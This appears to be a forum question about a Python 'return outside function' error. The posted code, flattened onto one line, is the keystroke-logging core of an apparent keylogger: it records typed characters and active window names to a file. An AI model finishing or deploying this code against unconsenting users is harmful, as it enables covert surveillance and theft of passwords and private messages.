Return outside function?
Why do i get this error message? code is: ... """if typing in new window""" if(window_name != event.WindowName): #if typing in new window if(line_buffer != ""): #if line buffer is not empty line_buffer += '\n' SaveLineToFile(line_buffer) #print to file: any non printed characters from old window line_buffer = "" #clear the line buffer SaveLineToFile('\n-----WindowName: ' + event.WindowName + '\n') #print to file: the new window name window_name = event.WindowName #set the new window name """if return or tab key pressed""" if(event.Ascii == 13 or event.Ascii == 9): #return key line_buffer += '\n' SaveLineToFile(line_buffer) #print to file: the line buffer line_buffer = "" #clear the line buffer return True #exit event """if backspace key pressed""" if(event.Ascii == 8): #backspace key line_buffer = line_buffer[:-1] #remove last character return True #exit event """if non-normal ascii character""" if(event.Ascii < 32 or event.Ascii > 126): if(event.Ascii == 0): #unknown character (eg arrow key, shift, ctrl, alt) pass #do nothing else: line_buffer = line_buffer + '\n' + str(event.Ascii) + '\n' else: line_buffer += chr(event.Ascii) #add pressed character to line buffer return True #pass event to other handlers ....